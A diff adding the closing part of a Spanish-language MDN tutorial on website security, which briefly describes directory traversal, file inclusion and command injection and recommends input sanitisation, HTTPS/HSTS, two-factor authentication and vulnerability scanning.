+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Salto de Directorios</a>/Revelación de Ficheros. En este tipo de ataque un usuario malicioso intenta acceder a partes del sistema de ficheros del servidor web a los que no debería tener acceso. Esta vulnerabilidad ocurre cuando el usuario es capaz de pasar nombres de fichero que incluyen caracteres del sistema de navegación (ej. <code>../../</code>). La solución es desinfectar la entrada antes de usarla.</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">Inclusión de Ficheros</a>. En este ataque un usuario es capaz de especificar, para mostrar o ejecutar, un fichero "no intencionado para ello" en los datos que le pasa al servidor. Una vez ha sido cargado este fichero podría ejecutarse en el servidor web o en el lado cliente (llevando a un ataque XSS). La solución es desinfectar la entrada antes de usarla.</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">Inyección de Comandos</a>. Los ataques de inyección de comandos permiten a un usuario malicioso ejecutar comandos del sistema arbitrarios en el sistema operativo del host. La solución es desinfectar la entrada de usuario antes de que pueda ser usada en llamadas al sistema.</li>
+</ul>
+
+<p>Hay muchas más. Para un lisado completo ver <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) y <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="Unos_cuantos_mensajes_clave">Unos cuantos mensajes clave</h2>
+
+<p>Casi todos los exploits de las secciones anteriores tienen éxito cuando la aplicación web confía en los datos que vienen del explorador. Sea lo que sea que hagas para mejorar la seguridad de tu sitio web, deberías desinfectar todos los datos originados por el usuario antes de ser mostrados en el explorador, usados en queries SQL o pasados en una llamada al sistema operativo o fichero de sistema.</p>
+
+<div class="warning">
+<p>Importante: La lección más importante que debes aprender acerca de la seguridad de sitios web es <strong>nunca confíes en los datos del explorador web</strong>. Esto incluye los datos en parámetros URL de las peticiones<code>GET</code>, datos <code>POST</code>, cabeceras HTTP y cookies, ficheros subidos por los usuarios, etc. Comprueba siempre y desinfecta todos los datos entrantes. Siempre asume lo peor.</p>
+</div>
+
+<p>Otras cuantas medidas concretas que puedes tomar son:</p>
+
+<ul>
+ <li>Usar una gestión de contraseñas más efectiva. Fomentar las contraseñas fuertes y que se cambien con regularidad. Considerar para tu sitio web la autenticación de dos factores, de manera que, además de la contraseña, el usuario tenga que introducir algún otro código de autenticación (normalmente alguno que se distribuye mediante algún hardware que sólo tiene el usuario, como un código en un mensaje de texto enviado a su teléfono móvil).</li>
+ <li>Configurar tu servidor web para usar <a href="/en-US/docs/Glossary/https">HTTPS</a> y <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS encripta los datos enviados entre el cliente y el servidor. Esto asegura que las credenciales de incio de sesión, cookies, datos <code>POST</code> e información de cabecera permanecen menos disponibles a los atacantes.</li>
+ <li>Seguir la pista a las amenazas más populares (<a href="/en-US/docs/">aquí puedes acceder a la lista actual OWASP</a>) y atacar las vulnerabilidades más comunes primero.</li>
+ <li>Usar herramientas de <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">escanéo de vulnerabilidade</a><a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">s</a> para realizar pruebas automáticas de seguridad en tu sitio (más adelante, si tu sitio web llega a ser super exitoso puedes también encontrar bugs por medio de ofrecer recompensas por encontrar bugs <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">como hace Mozilla aquí</a>).</li>
+ <li>Almacena y muestra sólo los datos que necesiten serlo. Por ejemplo, si tus usuarios deben almacenar información sensible como los detalles de las tarjetas de crédito, sólo muestra lo suficiente del número de tarjeta de manera que pueda ser identificada por el usuario, y no suficiente para que pueda ser copiado por el atacante y usado en otro sitio. El patrón más común hoy en día es mostrar sólo los 4 últimos dígitos del número de la tarjeta de crédito.</li>
+</ul>
+
+<p>Los frameworks web pueden ayudar a mitigar muchas de las vulnerabilidades más comunes.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Este artículo ha explicado el concepto de seguridad en sitios web y algunas de las amanazas más comunes contra las que tu sitio debería empezar a protegerse. Lo más importante que deberías entender es que ¡una aplicación web no puede confiar en ningún dato que provenga de explorador web! Todos los datos de usuario deberían ser desinfectados antes de ser mostrados, o usados en queries SQL o llamadas a ficheros de sistema.</p>
+
+<p>Hemos llegado al final de <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">este módulo</a>, tratando tus primeros pasos en la programación de lado servidor de un sitio web. Esperamos que hayas disfrutado del aprendizaje de los conceptos fundamentales y estés listo para seleccionar un framework web y empezar a programar.</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
+
+
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios web</a></li>
+</ul>